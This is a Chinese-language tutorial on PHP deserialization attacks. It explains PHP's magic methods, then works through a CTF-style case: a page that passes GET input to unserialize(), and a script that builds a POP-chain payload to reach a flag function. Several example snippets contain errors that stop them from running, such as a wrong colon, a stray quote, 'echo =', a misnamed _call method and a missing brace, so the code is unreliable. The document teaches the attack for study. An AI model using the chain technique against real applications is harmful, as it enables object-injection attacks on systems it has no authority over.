PHP反序列化漏洞

一、序列化,反序列化

  • 序列化:将php对象压缩并按照一定格式转换成字符串过程
  • 反序列化:从字符串转换回php对象的过程
  • 目的:为了方便php对象的传输和存储

seriallize() 传入参数为php对象,序列化成字符串

unserialize() 传入字符串,反序列化成一个对象

下图,上面是php对象,下面是 序列化结果

强调:序列化的过程,只序列化属性,不序列化函数

二、反序列化攻击

利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击

只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口

魔术方法(以__开头的函数)

1.__construct():

构造函数,当一个对象被实例化时,就会被调用

php 复制代码
<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function":
        }
    }
    $a = new A();
?>

当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用

2.__destruct():

析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数

php 复制代码
<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function";
        }
        function __destruct()
        {
            echo "this is a destruct function";
        }
    }
    
    $a = new A();
?>

这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数

3.__sleep():

在对象进行序列化的过程,__sleep()函数将被调用

php 复制代码
<?php
    class A
    {
        private $test;
        public $test2;
        public function __construct($test)
        {
            $this->test = $test;
        }
        public function __sleep()
        {
            echo "this is a sleep function";
            
            return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称
        }
    }
    $a = new A("Aurora");
    echo serialize($a);
?>

在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用

4.__wakeup():

wakeup()与sleep()正好相对应

是在反序列化的过程会被调用

当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用

注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法

5.__toString()方法

当出现,把一个字符串当作字符串来使用,就会调用该方法

php 复制代码
<?php 
    class A
    {
        private $test;'
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __toString()
        {
            $str = "this is a toString function";

            return $str;
        }
    }
    $a = new A("Aurora");
    echo $a;
?>

6.__invoke():

当把一个对象当作函数来调用的时候,就会自动调用invoke()方法

php 复制代码
<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __invoke()
        {
            echo = "this is a invoke function";
        }
    }
    $a = new A("Aurora");
    $a();    //$a是一个对象,但却用$a()调用方法的方法使用它
?>

上面$a()就是将对象作为函数来调用的例子

7.__call():

调用对象中不存在的方法,就会调用call函数

php 复制代码
<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function _call($funName,$arguments)
        {
            echo "你所调用的方法:".$funName."(参数:";   //输出调用不存在的方法名
            print_r($arguments);
            echo ")不存在!<br>\n";                       //结束换行
        }
        $a = new A("Aurora");
        $a->test('no','this','function');                //可以看到A类中并没有test()方法
?>

三、案例

php 复制代码
<!--
class allstart
{
        public $var1;
        public $var2;
        public function __destruct()
        {
                $this->var1->test1();
        }
}
class func1
{
        public $var1;
        public $var2;
        public function test1()
        {
            $this->var1->test2();
        }
}    
class func2
{
        public $var1;
        public $var2;
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
}
class func3
{
        public $var1;
        public $var2;
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
}
class func4
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class toget
{
        public function get_flag()
        {       
                echo "flag{***}";
        }
}

$a=$_GET["string"];
unserialize($a);

反序列化攻击就是制造一条攻击链

将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去

php 复制代码
<?php
    class allstart
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func1();
        }
        public function __destruct()
        {
                $this->var1->test1();
        }
    }
 
    class func1
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func2();
        }
        public function test1()
        {
            $this->var1->test2();
        }
    }    
    class func2
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func3();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
    }
    class func3
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func4();
        }
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
    }
    class func4
    {
        public $str1;
        public $str2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->str1=new toget();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
    }
    class toget
    {
        public function get_flag()
        {       
                echo "flag{***}";
        }
    }

    $a=new allstart();    //这个也要与源码不同
    echo serialize($a);   //将对象序列化
?>
相关推荐
ServBay1 天前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack4 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo4 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack5 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo5 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack5 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay6 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954487 天前
CTF 伪协议
php
BingoGo9 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack9 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端